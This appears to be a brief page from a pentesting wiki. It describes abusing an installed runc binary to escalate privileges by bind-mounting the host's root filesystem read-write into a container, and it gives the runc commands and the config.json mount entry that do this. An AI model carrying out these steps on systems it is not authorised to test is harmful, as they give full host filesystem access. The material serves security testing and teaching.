If you want to learn more about runc check the following page:
{% page-ref page="../../pentesting/2375-pentesting-docker.md" %}
If you find that runc is installed in the host you may be able to run a container mounting the root / folder of the host.
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo